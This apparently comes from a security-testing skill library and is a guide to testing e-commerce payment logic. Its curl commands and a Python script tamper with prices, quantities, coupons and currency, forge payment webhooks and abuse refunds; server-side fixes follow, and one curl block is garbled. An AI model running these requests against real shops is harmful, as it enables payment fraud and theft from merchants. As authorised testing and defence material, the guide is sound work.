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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basierend auf der SOC-Berufsklassifikation
| name | wstg-busl-10 |
| description | Test Payment Functionality |
| category | business-logic |
| owasp_id | WSTG-BUSL-10 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["business-logic","workflow","abuse","wstg","busl"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-BUSL-10
Test Payment Functionality
Payment functionality testing examines the security of e-commerce and financial transaction features. This includes testing for price manipulation, currency conversion issues, payment flow bypasses, and other vulnerabilities that could result in financial loss. Payment systems are critical targets for attackers and require thorough testing to prevent fraud and financial manipulation.
| Vector | Impact |
|---|---|
| Price manipulation | Pay less than intended |
| Quantity manipulation | Get more items |
| Currency confusion | Exchange rate exploit |
| Coupon stacking | Excessive discounts |
| Payment bypass | Get items for free |
| Refund fraud | Get money without return |
# Add item to cart at normal price
curl -s -X POST "https://target.com/api/cart/add" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"product_id": 1,
"quantity": 1
}'
# Try to manipulate price in checkout
curl -s -X POST "https://target.com/api/checkout" \
-H "Authorization: Bearer " \
-H \
-d
curl -s | grep -i
curl -s
# Test negative quantity
curl -s -X POST "https://target.com/api/cart/add" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"product_id": 1,
"quantity": -1
}'
# Test zero quantity
curl -s -X POST "https://target.com/api/cart/add" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"product_id": 1,
"quantity": 0
}'
# Test decimal quantity
curl -s -X POST "https://target.com/api/cart/add" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"product_id": 1,
"quantity": 0.001
}'
# Test extremely large quantity
curl -s -X POST "https://target.com/api/cart/add" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"product_id": 1,
"quantity": 99999999
}'
#!/bin/bash
# Test coupon vulnerabilities
TOKEN="your_token"
BASE="https://target.com"
# Apply coupon multiple times
for i in {1..5}; do
response=$(curl -s -X POST "$BASE/api/cart/coupon" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"code": "DISCOUNT10"}')
echo "Attempt $i: $response"
done
# Stack different coupons
coupons=("SAVE10" "FREESHIP" "WELCOME" "VIP20")
for code in "${coupons[@]}"; do
curl -s -X POST "$BASE/api/cart/coupon" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"code\": \"$code\"}"
done
# Check final total
curl -s "$BASE/api/cart" -H "Authorization: Bearer $TOKEN" | jq '.total'
# Try to apply coupon after payment
curl -s -X POST "$BASE/api/orders/123/coupon" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"code": "DISCOUNT50"}'
# Test currency conversion issues
currencies=("USD" "EUR" "GBP" "JPY" "BTC")
for currency in "${currencies[@]}"; do
response=$(curl -s -X POST "https://target.com/api/checkout" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"cart_id\": \"abc123\",
\"currency\": \"$currency\"
}")
echo "$currency: $response"
done
# Test with invalid currency
curl -s -X POST "https://target.com/api/checkout" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"cart_id": "abc123",
"currency": "INVALID"
}'
# Test currency in different parameters
curl -s -X POST "https://target.com/api/checkout" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"amount": 100,
"currency": "JPY",
"display_currency": "USD"
}'
# Try to access order confirmation without payment
curl -s "https://target.com/api/orders/create" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"cart_id": "abc123",
"status": "paid"
}'
# Try to skip payment step
curl -s -X POST "https://target.com/api/checkout/complete" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"cart_id": "abc123"
}'
# Test with fake payment token
curl -s -X POST "https://target.com/api/checkout/payment" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"cart_id": "abc123",
"payment_token": "fake_token_12345"
}'
# Test payment confirmation webhook manipulation
curl -s -X POST "https://target.com/api/webhooks/payment" \
-H "Content-Type: application/json" \
-d '{
"order_id": "abc123",
"status": "success",
"amount": 0.01
}'
# Start checkout
checkout_id=$(curl -s -X POST "https://target.com/api/checkout/start" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123"}' | jq -r '.checkout_id')
# Try to add more items after checkout started
curl -s -X POST "https://target.com/api/cart/add" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"product_id": 2,
"quantity": 10
}'
# Complete payment with original (lower) amount
curl -s -X POST "https://target.com/api/checkout/complete" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"checkout_id\": \"$checkout_id\"}"
# Check what was ordered
curl -s "https://target.com/api/orders/latest" \
-H "Authorization: Bearer $TOKEN"
# Test refund without returning item
curl -s -X POST "https://target.com/api/orders/123/refund" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"reason": "Not satisfied"
}'
# Test refund amount manipulation
curl -s -X POST "https://target.com/api/orders/123/refund" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"amount": 9999.99
}'
# Test multiple refunds for same order
for i in {1..5}; do
curl -s -X POST "https://target.com/api/orders/123/refund" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"reason": "Duplicate"}'
done
| Tool | Description | Usage |
|---|---|---|
| Burp Suite | Request manipulation | Modify payment parameters |
| Stripe CLI | Payment testing | Test payment flows |
| PayPal Sandbox | Payment testing | Test PayPal integration |
| Tool | Description |
|---|---|
| Postman | API testing |
| Custom scripts | Automated testing |
// Price manipulation
{"price": 0}
{"price": 0.01}
{"price": -100}
{"unit_price": 0.001}
// Quantity manipulation
{"quantity": -1}
{"quantity": 0}
{"quantity": 0.001}
{"quantity": 999999999}
// Total manipulation
{"subtotal": 0}
{"tax": -10}
{"shipping": -50}
{"total": 0.01}
// Discount manipulation
{"discount": 100}
{"discount_percent": 999}
{"coupon_value": 999999}
// Currency manipulation
{"currency": "XXX"}
{"currency": ""}
{"amount": 100, "currency_rate": 0.01}
#!/usr/bin/env python3
import requests
import json
class PaymentTester:
def __init__(self, base_url, token):
self.base_url = base_url
self.headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
self.results = []
def test_price_manipulation(self, product_id):
"""Test price manipulation vulnerabilities"""
test_prices = [0, 0.01, -1, -100, 0.001]
for price in test_prices:
# Add to cart with manipulated price
response = requests.post(
f"{self.base_url}/api/cart/add",
headers=self.headers,
json={
"product_id": product_id,
"quantity": 1,
"price": price
}
)
# Try checkout with manipulated price
checkout_response = requests.post(
f"{self.base_url}/api/checkout",
headers=self.headers,
json={
"items": [{
"product_id": product_id,
"quantity": 1,
"price": price
}],
"total": price
}
)
accepted = response.status_code == 200 or checkout_response.status_code == 200
self.results.append({
"test": f"Price manipulation: {price}",
"cart_status": response.status_code,
"checkout_status": checkout_response.status_code,
"vulnerable": accepted and price <= 0.01
})
def test_quantity_manipulation(self, product_id):
"""Test quantity manipulation"""
test_quantities = [-1, 0, 0.5, 0.001, 999999999]
for qty in test_quantities:
response = requests.post(
f"{self.base_url}/api/cart/add",
headers=self.headers,
json={
"product_id": product_id,
"quantity": qty
}
)
self.results.append({
"test": f"Quantity manipulation: {qty}",
"status": response.status_code,
"vulnerable": response.status_code == 200 and qty <= 0
})
def test_coupon_stacking(self, coupons):
"""Test if multiple coupons can be stacked"""
# Clear cart first
requests.delete(
f"{self.base_url}/api/cart",
headers=self.headers
)
# Add item
requests.post(
f"{self.base_url}/api/cart/add",
headers=self.headers,
json={"product_id": 1, "quantity": 1}
)
applied_count = 0
for coupon in coupons:
response = requests.post(
f"{self.base_url}/api/cart/coupon",
headers=self.headers,
json={"code": coupon}
)
if response.status_code == 200:
applied_count += 1
self.results.append({
"test": "Coupon stacking",
"coupons_tried": len(coupons),
"coupons_applied": applied_count,
"vulnerable": applied_count > 1
})
def test_payment_bypass(self):
"""Test if payment can be bypassed"""
# Try to create order without payment
test_cases = [
{"status": "paid"},
{"payment_status": "completed"},
{"payment_confirmed": True},
]
for case in test_cases:
payload = {
"cart_id": "test123",
**case
}
response = requests.post(
f"{self.base_url}/api/orders",
headers=self.headers,
json=payload
)
self.results.append({
"test": f"Payment bypass with: {case}",
"status": response.status_code,
"vulnerable": response.status_code == 200
})
def test_refund_abuse(self, order_id):
"""Test refund vulnerabilities"""
# Test excessive refund amount
response = requests.post(
f"{self.base_url}/api/orders/{order_id}/refund",
headers=self.headers,
json={"amount": 999999}
)
self.results.append({
"test": "Excessive refund amount",
"status": response.status_code,
"vulnerable": response.status_code == 200
})
# Test multiple refunds
refund_count = 0
for _ in range(5):
response = requests.post(
f"{self.base_url}/api/orders/{order_id}/refund",
headers=self.headers,
json={"reason": "test"}
)
if response.status_code == 200:
refund_count += 1
self.results.append({
"test": "Multiple refunds",
"refunds_processed": refund_count,
"vulnerable": refund_count > 1
})
def generate_report(self):
"""Generate test report"""
print("\n=== PAYMENT SECURITY TEST REPORT ===\n")
vulnerable = [r for r in self.results if r.get("vulnerable")]
print(f"Total tests: {len(self.results)}")
print(f"Vulnerabilities found: {len(vulnerable)}")
if vulnerable:
print("\n--- VULNERABILITIES ---")
for v in vulnerable:
print(f" [VULN] {v['test']}")
print("\n--- ALL RESULTS ---")
for r in self.results:
status = "[VULN]" if r.get("vulnerable") else "[OK]"
print(f" {status} {r['test']}")
# Usage
tester = PaymentTester("https://target.com", "auth_token")
tester.test_price_manipulation(product_id=1)
tester.test_quantity_manipulation(product_id=1)
tester.test_coupon_stacking(["SAVE10", "WELCOME", "FREESHIP"])
tester.test_payment_bypass()
tester.test_refund_abuse(order_id="test123")
tester.generate_report()
from decimal import Decimal
class OrderProcessor:
def process_checkout(self, cart_id, client_data):
"""Process checkout with server-side validation"""
# Get cart from database
cart = Cart.query.get(cart_id)
if not cart:
raise ValueError("Cart not found")
# Calculate total server-side - NEVER trust client
total = Decimal('0')
for item in cart.items:
# Get current price from database
product = Product.query.get(item.product_id)
if not product or not product.in_stock:
raise ValueError(f"Product {item.product_id} unavailable")
# Validate quantity
if item.quantity <= 0 or item.quantity > product.max_quantity:
raise ValueError("Invalid quantity")
# Calculate with database price
item_total = product.current_price * item.quantity
total += item_total
# Apply discounts server-side
if cart.coupon:
discount = self.calculate_discount(cart.coupon, total)
total -= discount
# Validate total is positive
if total <= 0:
raise ValueError("Invalid order total")
# Ignore any totals from client
return self.create_order(cart, total)
import hmac
import hashlib
import json
def generate_checkout_token(cart_items, total):
"""Generate signed token for checkout"""
data = {
"items": [
{"id": i.id, "qty": i.quantity, "price": str(i.price)}
for i in cart_items
],
"total": str(total),
"timestamp": datetime.utcnow().isoformat()
}
signature = hmac.new(
SECRET_KEY.encode(),
json.dumps(data, sort_keys=True).encode(),
hashlib.sha256
).hexdigest()
return {
"data": data,
"signature": signature
}
def verify_checkout_token(token):
"""Verify checkout token hasn't been tampered with"""
expected_sig = hmac.new(
SECRET_KEY.encode(),
json.dumps(token["data"], sort_keys=True).encode(),
hashlib.sha256
).hexdigest()
return hmac.compare_digest(expected_sig, token["signature"])
from sqlalchemy import event
from contextlib import contextmanager
@contextmanager
def payment_transaction(order_id):
"""Ensure atomic payment processing"""
order = Order.query.with_for_update().get(order_id)
if not order:
raise ValueError("Order not found")
if order.status != 'pending':
raise ValueError("Order already processed")
try:
yield order
order.status = 'paid'
db.session.commit()
except Exception as e:
order.status = 'failed'
db.session.commit()
raise
def process_payment(order_id, payment_token):
"""Process payment atomically"""
with payment_transaction(order_id) as order:
# Verify payment with payment provider
payment_result = payment_gateway.verify(
payment_token,
amount=order.total,
currency=order.currency
)
if not payment_result.success:
raise PaymentError(payment_result.error)
order.payment_id = payment_result.transaction_id
order.paid_at = datetime.utcnow()
class RefundProcessor:
def process_refund(self, order_id, amount=None, reason=None):
"""Process refund with controls"""
order = Order.query.get(order_id)
if not order:
raise ValueError("Order not found")
# Check refund eligibility
if order.status not in ['paid', 'delivered']:
raise ValueError("Order not eligible for refund")
# Check refund window
if order.paid_at < datetime.utcnow() - timedelta(days=30):
raise ValueError("Refund window expired")
# Calculate maximum refund
previous_refunds = Refund.query.filter_by(order_id=order_id).all()
total_refunded = sum(r.amount for r in previous_refunds)
max_refund = order.total - total_refunded
if max_refund <= 0:
raise ValueError("Order already fully refunded")
# Validate refund amount
refund_amount = amount or max_refund
if refund_amount > max_refund:
raise ValueError(f"Maximum refund is {max_refund}")
# Process refund
refund = Refund(
order_id=order_id,
amount=refund_amount,
reason=reason,
processed_by=current_user.id
)
db.session.add(refund)
db.session.commit()
# Initiate actual refund with payment provider
payment_gateway.refund(order.payment_id, refund_amount)
return refund
| Finding | CVSS | Severity |
|---|---|---|
| Price manipulation to $0 | 9.8 | Critical |
| Payment bypass | 9.8 | Critical |
| Unlimited refund amount | 9.8 | Critical |
| Coupon stacking abuse | 7.5 | High |
| Quantity manipulation | 7.5 | High |
| Cart modification after checkout | 8.8 | High |
| CWE ID | Title | Description |
|---|---|---|
| CWE-20 | Improper Input Validation | Price/quantity not validated |
| CWE-841 | Improper Enforcement of Behavioral Workflow | Payment bypass |
| CWE-840 | Business Logic Errors | Financial logic flaws |
[ ] Price manipulation tested
[ ] Quantity manipulation tested
[ ] Negative value handling tested
[ ] Discount/coupon stacking tested
[ ] Currency manipulation tested
[ ] Payment flow bypass tested
[ ] Webhook manipulation tested
[ ] Cart modification after checkout tested
[ ] Refund amount manipulation tested
[ ] Multiple refund prevention tested
[ ] Server-side validation verified
[ ] Findings documented
[ ] Remediation recommendations provided